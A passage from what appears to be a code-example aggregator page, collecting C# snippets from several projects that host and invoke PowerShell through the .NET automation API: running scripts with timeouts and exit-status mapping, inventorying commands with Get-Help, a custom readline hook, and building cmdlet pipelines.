                    // Hinzufügen zusätzlicher Module
                    Modules?.ForEach(module =>
                    {
                        ps.AddCommand("Import-Module")
                        .AddArgument(module);
                    });



                    // Das eigentliche Skript hinzufügen
                    ps.AddScript(script);

                    var result = ps.Invoke();

                    // Überführung des Ergebnisses
                    runscriptresult.Errors.AddRange(ps.Streams.Error);
                    runscriptresult.Warnings.AddRange(ps.Streams.Warning);
                    runscriptresult.Debugs.AddRange(ps.Streams.Debug);
                    runscriptresult.Verboses.AddRange(ps.Streams.Verbose.Select(v => v.Message));
                    runscriptresult.Informations.AddRange(ps.Streams.Information);

                    runscriptresult.Output.AddRange(result.Where(p => p != null && p.BaseObject != null)
                                                    .Select(p => p.BaseObject));

                    // Auslesen der Variablen
                    if (Variables != null)
                    {
                        runscriptresult.Variables = new Dictionary <string, object>(Variables);

                        runscriptresult.Variables.Keys.ToList().ForEach(variablename
                                                                        => runscriptresult.Variables[variablename] = rs.SessionStateProxy.GetVariable(variablename));
                    }

                    rs.Close();
                }

            return(runscriptresult);
        }
        /// <summary>
        /// Wraps command execution into system process call.
        /// </summary>
        /// <returns></returns>
        /// <exception cref="Exception"></exception>
        public RepeatStatus Execute(StepContribution contribution, ChunkContext chunkContext)
        {
            if (Logger.IsTraceEnabled)
            {
                Logger.Trace("*** Executing PowerShell Script File: {0}", ScriptResource.GetFullPath());
            }

            //=> PowerShell will throw an error if we do not Suppress ambient transaction...
            //   see https://msdn.microsoft.com/en-us/library/system.transactions.transaction.current(v=vs.110).aspx#NotExistJustToMakeTheAElementVisible
            using (var transactionScope = new TransactionScope(TransactionScopeOption.Suppress))
            {
                /*               //=> Runspace configuration information includes the assemblies, commands, format and type files,
                 *             //   providers, and scripts that are available within the runspace.
                 *             RunspaceConfiguration runspaceConfiguration = RunspaceConfiguration.Create();*/

                //Creates a single runspace that uses the default host and runspace configuration
                using (Runspace runSpace = RunspaceFactory.CreateRunspace())
                {
                    //=> When this runspace is opened, the default host and runspace configuration
                    //   that are defined by Windows PowerShell will be used.
                    runSpace.Open();

                    //=> Set Variables so they are available to user script...
                    if (Variables != null && Variables.Any())
                    {
                        foreach (KeyValuePair <string, object> variable in Variables)
                        {
                            runSpace.SessionStateProxy.SetVariable(variable.Key, variable.Value);
                        }
                    }

                    //=> this is exit status variables to be tested on exit from power shell script...
                    //   it is defined in PwerShell global scope...and must be set by scipt writer on exit...
                    runSpace.SessionStateProxy.SetVariable("ScriptExitStatus", _scriptExitStatus);

                    //=> Allows the execution of commands from a CLR
                    //RunspaceInvoke scriptInvoker = new RunspaceInvoke(runSpace);
                    //scriptInvoker.Invoke("Set-ExecutionPolicy Unrestricted");

                    using (PowerShell psInstance = PowerShell.Create())
                    {
                        try
                        {
                            // prepare a new collection to store output stream objects
                            PSDataCollection <PSObject> outputCollection = new PSDataCollection <PSObject>();
                            outputCollection.DataAdded           += AllStreams_DataAdded;
                            psInstance.Streams.Error.DataAdded   += AllStreams_DataAdded;
                            psInstance.Streams.Verbose.DataAdded += AllStreams_DataAdded;
                            psInstance.Streams.Warning.DataAdded += AllStreams_DataAdded;
                            psInstance.Streams.Debug.DataAdded   += AllStreams_DataAdded;

                            psInstance.Runspace = runSpace;

                            //=> This tasklet should be in the same dll as ExitStatus, i.e. Summer.Batch.Core.dll
                            //   we need to get the path to loaded Summer.Batch.Core.dll so we can load it in PowerShell
                            var assemblyLocation = System.Reflection.Assembly.GetExecutingAssembly().Location;

                            //=> need to load Summer.Batch.Core into runspace so we can reference ExitStatus
                            psInstance.AddScript("[System.Reflection.Assembly]::LoadFrom(\"" + assemblyLocation + "\")").AddStatement();

                            //=> add user command and its parameters...
                            psInstance.AddCommand(ScriptResource.GetFullPath());
                            if (Parameters != null && Parameters.Any())
                            {
                                foreach (KeyValuePair <string, object> variable in Parameters)
                                {
                                    psInstance.AddParameter(variable.Key, variable.Value);
                                }
                            }

                            //=> Invoke Asynchronously...
                            IAsyncResult asyncResult = psInstance.BeginInvoke <PSObject, PSObject>(null, outputCollection);

                            // do something else until execution has completed.
                            long t0 = DateTime.Now.Ticks;
                            while (!asyncResult.IsCompleted)
                            {
                                //=> take a nap and let script do its job...
                                Thread.Sleep(new TimeSpan(_checkInterval));

                                //=> to check if job was told to stop...
                                CheckStoppingState(chunkContext);

                                //=> lets make sure we did not exceed alloted time...
                                long timeFromT0 = (long)(new TimeSpan(DateTime.Now.Ticks - t0)).TotalMilliseconds;
                                if (timeFromT0 > _timeout)
                                {
                                    //=> Stop PowerShell...
                                    psInstance.Stop();

                                    //=> behave based on TimeoutBehaviorOption
                                    if (_timeoutBehavior.Equals(TimeoutBehaviorOption.SetExitStatusToFailed))
                                    {
                                        contribution.ExitStatus = ExitStatus.Failed;
                                        break;
                                    }
                                    else if (_timeoutBehavior.Equals(TimeoutBehaviorOption.ThrowException))
                                    {
                                        //=> lets dump what we got before throwing an error...
                                        LogStreams();
                                        throw new FatalStepExecutionException("Execution of PowerShell script exceeded allotted time.", null);
                                    }
                                }
                                else if (_execution.TerminateOnly)
                                {
                                    //=> Stop PowerShell...
                                    psInstance.Stop();

                                    //=> lets dump what we got before throwing an error...
                                    LogStreams();

                                    throw new JobInterruptedException(
                                              string.Format("Job interrupted while executing PowerShell script '{0}'", ScriptResource.GetFilename()));
                                }
                                else if (_stopped)
                                {
                                    psInstance.Stop();
                                    contribution.ExitStatus = ExitStatus.Stopped;
                                    break;
                                }
                            } // end while scope

                            //=> Wait to the end of execution...
                            //psInstance.EndInvoke(_asyncResult);

                            //NOTE: asyncResult.IsCompleted will be set to true if PowerShell.Stop was called or
                            //      PowerShell completed its work

                            //=> if status not yet set (script completed)...handle completion...
                            if (contribution.ExitStatus.IsRunning())
                            {
                                //=> script needs to set exit code...if exit code not set we assume 0
                                var lastExitCode = (int)runSpace.SessionStateProxy.PSVariable.GetValue("LastExitCode", 0);

                                _scriptExitStatus = runSpace.SessionStateProxy.GetVariable("ScriptExitStatus") as ExitStatus;

                                //=> set exit status...
                                if (_scriptExitStatus != null && !_scriptExitStatus.IsRunning())
                                {
                                    if (Logger.IsTraceEnabled)
                                    {
                                        Logger.Trace("***> ScriptExitStatus returned by script => {0}", _scriptExitStatus);
                                    }

                                    contribution.ExitStatus = _scriptExitStatus;
                                }
                                else //=> let user decide on ExitStatus
                                {
                                    if (Logger.IsTraceEnabled)
                                    {
                                        if (_scriptExitStatus == null)
                                        {
                                            Logger.Trace("***> ScriptExitStatus is null. Using PowerShellExitCodeMapper to determine ExitStatus.");
                                        }
                                        else if (_scriptExitStatus.IsRunning())
                                        {
                                            Logger.Trace("***> ScriptExitStatus is EXECUTING or UNKNOWN. Using PowerShellExitCodeMapper to determine ExitStatus.");
                                        }
                                    }

                                    if (PowerShellExitCodeMapper != null)
                                    {
                                        //=> determine exit status using User Provided PowerShellExitCodeMapper
                                        contribution.ExitStatus = PowerShellExitCodeMapper.GetExitStatus(lastExitCode);
                                    }
                                    else //at this point we are not able to determine exit status, user needs to fix this...
                                    {
                                        //=> lets dump what we got before throwing an error...
                                        LogStreams();
                                        throw new FatalStepExecutionException(
                                                  "PowerShellTasklet is not able to determine ExitStatus. ScriptExitStatus is null or (is EXECUTING or UNKNOWN) and " +
                                                  "PowerShellExitCodeMapper is NOT defined. Please set $global:ScriptExitStatus or define PowerShellExitCodeMapper.", null);
                                    }
                                }
                            }

                            if (Logger.IsInfoEnabled)
                            {
                                Logger.Info("PowerShell execution exit status [{0}]", contribution.ExitStatus);
                            }

                            //=> output captured stream data to Log...
                            LogStreams();
                        }
                        catch (RuntimeException ex)
                        {
                            Logger.Error(ex.Message);
                            throw;
                        }
                    } // end PowerShell Scope

                    //=> close Runspace...
                    runSpace.Close();

                    //=> we are done...
                    return(RepeatStatus.Finished);
                } // end of Runspace Scope
            }     // end of TransactionScope
        }
Exemplo n.º 35
0
        /// <summary>
        /// Invoke PowerShell commands (Get-Command and Get-Help) to retrieve information about the input PowerShell command or module
        /// </summary>
        /// <param name="module">Module that must be loaded before running the command</param>
        /// <param name="webMethods">List of WebMethod instance built from configuration file</param>
        /// <returns></returns>
        public static List <PSLoader> InvokePS(string apiName, string module, IEnumerable <WebMethod> webMethods, Uri BaseUri)
        {
            var returnValues = new List <PSLoader>();

            var rsConfig = RunspaceConfiguration.Create();

            var initialSession = InitialSessionState.CreateDefault2();

            if (!String.IsNullOrWhiteSpace(module))
            {
                if (module.EndsWith(".psm1") || module.EndsWith(".psd1"))
                {
                    module = Path.Combine(ApiPath.ScriptRepository, module);

                    if (!File.Exists(module))
                    {
                        Console.WriteLine(String.Format("Cannot find module file {0}", module));
                        PowerShellRestApiEvents.Raise.ConfigurationError(String.Format("Cannot find module file {0}", module));
                    }
                }

                initialSession.ImportPSModule(new[] { module });
            }



            using (PowerShell ps = PowerShell.Create())
            {
                RunspacePool _runspacePool = RunspaceFactory.CreateRunspacePool(initialSession);
                _runspacePool.Open();
                ps.RunspacePool = _runspacePool;

                //for (int i=0; i < commands.Length; i++)
                foreach (WebMethod webMethod in webMethods)
                {
                    string command = "";

                    if (!string.IsNullOrWhiteSpace(webMethod.Command))
                    {
                        command = webMethod.Command;
                    }
                    else
                    {
                        command = Path.Combine(ApiPath.ScriptRepository, webMethod.PowerShellPath);

                        //TO DO tester le présence du fichier
                        if (!File.Exists(command))
                        {
                            Console.WriteLine(String.Format("File {0} not found. The command {1} will be not inventoried", command, webMethod.Name));
                            PowerShellRestApiEvents.Raise.ConfigurationError(String.Format("File {0} not found. The command {1} will be not inventoried", command, webMethod.Name));
                        }
                    }

                    if (command != "")
                    {
                        CommandInfo psCmdInfo = null;
                        PSObject    psCmdHelp = null;


                        ps.AddCommand("Get-Command").AddParameter("Name", command);
                        Collection <PSObject> result = ps.Invoke();
                        ps.Commands.Clear();

                        if (result.Count == 0)
                        {
                            Console.WriteLine(String.Format("No information for command {0}.", command));
                            PowerShellRestApiEvents.Raise.ConfigurationError(String.Format("No information for command {0}.", command));
                        }
                        else
                        {
                            psCmdInfo = (CommandInfo)result.FirstOrDefault().BaseObject;
                        }



                        ps.AddCommand("Get-Help").AddParameter("Name", command).AddParameter("Full");
                        result = ps.Invoke();
                        ps.Commands.Clear();

                        if (result.Count == 0)
                        {
                            // DO : Raise Command not found
                            Console.WriteLine(string.Format("No PowerShell help for command {0}.", command));
                        }
                        else
                        {
                            psCmdHelp = result.FirstOrDefault();
                        }

                        if (psCmdInfo != null && psCmdHelp != null)
                        {
                            returnValues.Add(new PSLoader(apiName, psCmdInfo, psCmdHelp, webMethod, module, BaseUri));
                        }
                    }
                }

                ps.Dispose();
            }

            return(returnValues);
        }
        private bool TryInvokeUserDefinedReadLine(out string input, bool useUserDefinedCustomReadLine)
        {
            // We're using GetCommands instead of GetCommand so we don't auto-load a module should the command exist, but isn't loaded.
            // The idea is that if someone hasn't defined the command (say because they started -noprofile), we shouldn't auto-load
            // this function.

            input = null;
            if (!useUserDefinedCustomReadLine)
            {
                return(false);
            }

            // If we need to look for user defined custom readline command, then we need to wait for Runspace to be created.

            // [danthom] TODO: What to do about this?
            //var runspace = this.parent.LocalRunspace;
            //if (runspace != null
            //    && runspace.Engine.Context.EngineIntrinsics.InvokeCommand.GetCommands(CustomReadlineCommand, CommandTypes.All, nameIsPattern: false).Any())
            //{
            //    PowerShell ps;
            //    if (runspace.ExecutionContext.EngineHostInterface.NestedPromptCount > 0)
            //    {
            //        ps = PowerShell.Create(RunspaceMode.CurrentRunspace);
            //    }
            //    else
            //    {
            //        ps = PowerShell.Create();
            //        ps.Runspace = runspace;
            //    }

            //    try
            //    {
            //        var result = ps.AddCommand(CustomReadlineCommand).Invoke();
            //        if (result.Count == 1)
            //        {
            //            input = PSObject.Base(result[0]) as string;
            //            return true;
            //        }
            //    }
            //    catch (Exception e)
            //    {
            //        // TODO: what
            //        //CommandProcessorBase.CheckForSevereException(e);
            //        Util.FailFast( "Exception in TryInvokeUserDefinedReadLine.", e );
            //    }
            //}

            // Here's my attempt at duplicating the functionality of the above code,
            // without having access to PowerShell-internal stuff (which requires me to
            // turn some of the logic inside-out because I can't access the session state
            // when we are nested).

            PowerShell ps = null;

            try
            {
                var runspace = _parent.Runspace;
                if (null == runspace)
                {
                    return(false);
                }

                if (runspace.RunspaceAvailability == RunspaceAvailability.AvailableForNestedCommand)
                {
                    // Nested

                    // We don't have an easy way to check if we have a readline command
                    // defined-- we can't access the SessionState directly when nested (else
                    // we get an error complaining "A pipeline is already running. Concurrent
                    // SessionStateProxy method call is not allowed."). We could run some
                    // script, but we don't want readline commands to cause any auto-loading,
                    // so we have to save the old $PSModuleAutoloadingPreference, set it to
                    // "none", then check for the command (using a wildcard to make sure we
                    // don't generate errors if it doesn't exist), then restore the
                    // $PSModuleAutoloadingPreference... which seems like a pain.  So instead,
                    // if we are nested, I'm just going to remember what we had in the
                    // outer-most (non-nested) shell. This means that you won't be able to
                    // change the readline function when nested, but I think that's a fairly
                    // corner-case scenario.
                    // parent._ExecScriptNoExceptionHandling( ps,
                    //                                        Util.Sprintf( ...
                    //                                        false,
                    //                                        false );

                    if (m_customReadlineFuncExists)
                    {
                        ps = PowerShell.Create(RunspaceMode.CurrentRunspace);
                    }
                }
                else
                {
                    // Not Nested
                    if (runspace.SessionStateProxy.InvokeCommand.GetCommands(CustomReadlineCommand, CommandTypes.All, nameIsPattern: false).Any())
                    {
                        m_customReadlineFuncExists = true;
                        ps          = PowerShell.Create();
                        ps.Runspace = runspace;
                    }
                    else
                    {
                        m_customReadlineFuncExists = false;
                    }
                }

                if (null == ps)
                {
                    return(false);
                }

                var result = ps.AddCommand(CustomReadlineCommand).Invoke();
                if (result.Count == 1)
                {
                    //input = PSObject.Base(result[0]) as string; [danthom]
                    input = PSObjectSubstitute.Base(result[0]) as string;
                    return(true);
                }
                else if (result.Count > 1)
                {
                    var msg = Util.Sprintf("Custom readline function returned multiple results ({0}).",
                                           result.Count);

                    LogManager.Trace(msg);
                    Util.Fail(msg);   // not a true invariant; just want to stop in the debugger if this ever happens
                    try
                    {
                        ps.Commands.Clear();
                        ps.AddCommand("Write-Warning").AddParameter("Message", msg);
                        ps.Invoke();
                    }
                    catch (Exception e2)
                    {
                        Util.Fail(Util.Sprintf("Could not write warning about multi-result readline! {0}",
                                               Util.GetExceptionMessages(e2)));
                    }
                }
            }
            catch (Exception e)
            {
                // I've seen us get into this situation when running "rmo psreadline" from
                // within a nested prompt. It seems the prompt function doesn't want to
                // get reset until we exit the nested prompt.
                LogManager.Trace("Custom readline function failed: {0}", e.ToString());
                try
                {
                    ps.Commands.Clear();
                    ps.AddCommand("Write-Warning").AddParameter("Message",
                                                                Util.Sprintf("Custom readline function failed: {0}",
                                                                             Util.GetExceptionMessages(e)));
                    ps.Invoke();
                }
                catch (Exception e2)
                {
                    Util.Fail(Util.Sprintf("Could not write warning about failed readline! {0}",
                                           Util.GetExceptionMessages(e2)));
                }
            }

            input = null;
            return(false);
        }
 public static void ImportModule(this PowerShell pwsh, string moduleNameOrPath)
 {
     pwsh.AddCommand("Microsoft.PowerShell.Core\\Import-Module")
     .AddParameter("-Name", moduleNameOrPath)
     .InvokeAndClear();
 }
Exemplo n.º 38
0
        private void AttachPipeline(PowerShell ps)
        {
            foreach (string cmd in pipeLine)
            {
                if (cmd.Length > 0 && cmd[0] == '$')
                {
                    ps.AddScript(cmd);
                }
                else
                {
                    string[] cmdOpts = cmd.Split(' ');
                    string cmdName = cmdOpts[0];
                    ps.AddCommand(cmdName);

                    string opts = string.Empty;
                    bool skip = false;
                    for (int i = 1; i < cmdOpts.Length; i++)
                    {
                        if (skip)
                        {
                            skip = false;
                            continue;
                        }

                        if (cmdOpts[i].IndexOf("-") != 0)
                        {
                            ps.AddArgument(cmdOpts[i]);
                        }
                        else
                        {
                            if (i + 1 < cmdOpts.Length && cmdOpts[i + 1].IndexOf("-") != 0)
                            {
                                ps.AddParameter(cmdOpts[i].Substring(1), cmdOpts[i + 1]);
                                skip = true;
                            }
                            else
                            {
                                ps.AddParameter(cmdOpts[i].Substring(1));
                                skip = false;
                            }
                        }
                    }

                    //add storage context for azure storage cmdlet
                    //It make sure all the storage cmdlet in pipeline use the same storage context
                    if (cmdName.ToLower().IndexOf("-azurestorage") != -1)
                    {
                        AddCommonParameters(ps);
                    }
                }
            }
        }
Exemplo n.º 39
0
 public void With_ProjectGroup()
 {
     // Execute cmdlet
     _ps.AddCommand(CmdletName).AddParameter("ProjectGroup", "Octopus");
     _ps.Invoke();
 }